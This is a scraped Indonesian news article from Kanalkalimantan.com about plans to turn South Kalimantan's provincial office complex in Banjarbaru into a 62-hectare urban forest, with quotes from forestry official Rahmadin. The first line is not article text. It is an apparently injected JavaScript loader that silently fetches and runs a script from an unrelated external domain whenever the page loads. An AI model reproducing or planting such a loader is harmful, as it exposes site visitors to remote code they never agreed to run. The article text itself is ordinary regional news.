(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Keberadaan ruang terbuka hijau, terlebih kawasan hutan kota sangat berfungsi sebagai sistem hidroorologi, menciptakan iklim mikro, menjaga keseimbangan oksigen (O2) dan karbon dioksida (CO2), mengurangi polutan, dan meredam kebisingan. Selain itu, berfungsi juga untuk menambah nilai estetika dan keasrian kota sehingga berdampak positif terhadap kualitas lingkungan dan kehidupan masyarakat.
Serius mendukung program revolusi hijau, Dinas Kehutanan Provinsi Kalimantan Selatan menggadangkan kawasan perkantoran Pemprov Kalsel menjadi hutan kota. Hal ini ditegaskan Sekretaris Dishut Kalsel Rahmadin saat menerima kunjungan tim Kanalkalimantan.com, Kamis (9/11).
Menurut Rahmadin, kawasan perkantoran tersebut hingga sekarang serius mereka tangani untuk dijadikan kawasan hutan kota.
“Kita jadikan kawasan perkantoran pemerintah Provinsi Kalsel menjadi hutan kota, barusan saya datang sana memantau perawatan yang telah dilakukan oleh tim kita,†sahutnya.
Lebih jauh Rahmadin mengatakan bukti keseriusan itu juga tergambar saat 20 Duta Besar dan 16 perwakilan negara sahabat yang menghadiri pelaksanaan Hari Pangan Sedunia ke 38 tahun 2018, melakukan penanaman 140 batang pohon Ulin di kawasan perkantoran Pemerintah Provinsi Kalsel Cempaka Banjarbaru, Rabu (17/10) lalu.
“Kita sudah tanam beberapa jenis pohon khas Kalsel seperti pohon ulin atau yang kerap disebut pohon besi, namun tidak menutup kemungkinan kedepan kita juga akan mewacanakan untuk menanam pohon buah khas Kalsel, seperti rambai, kasturi dan lainnya†akunya.
Perlu diketahui dukungan program revolusi hijau ini sangat didukung oleh Gubernur Kalsel H Sahbirin Noor,dia mengerahkan selurah aparatur sipil negara (ASN) di lingkungan Pemprov Kalsel untuk mengikuti program revolusi hijau dengan penanaman pohon bersama, demi merindangkan kawasan perkantoran di sekitar Jalan Dharma Praja, Trikora Banjarbaru.
Menurut Sahbirin, di atas lahan hutan kota seluas 62 hekter itu nantinya akan ditanam 15 ribu sebagai langkah awal agar Kantor Setdaprov Kalsel menjadi rindang. Terlebih lagi, pengelolaan hutan kota ini merupakan kerjasama antara Dinas Kehutanan Kalsel dan Balai Pengelolaan Daerah Aaliran Sungai dan Hutan Lindung (BPDAS-HL) Barito. Bahkan, BPDDAS HL mendapat jatah mengelola seluas 25 hektare, dan sisanya menjadi tanggung jawab Dinas Kehutanan Kalsel. (rendy)
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More
Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More
This website uses cookies.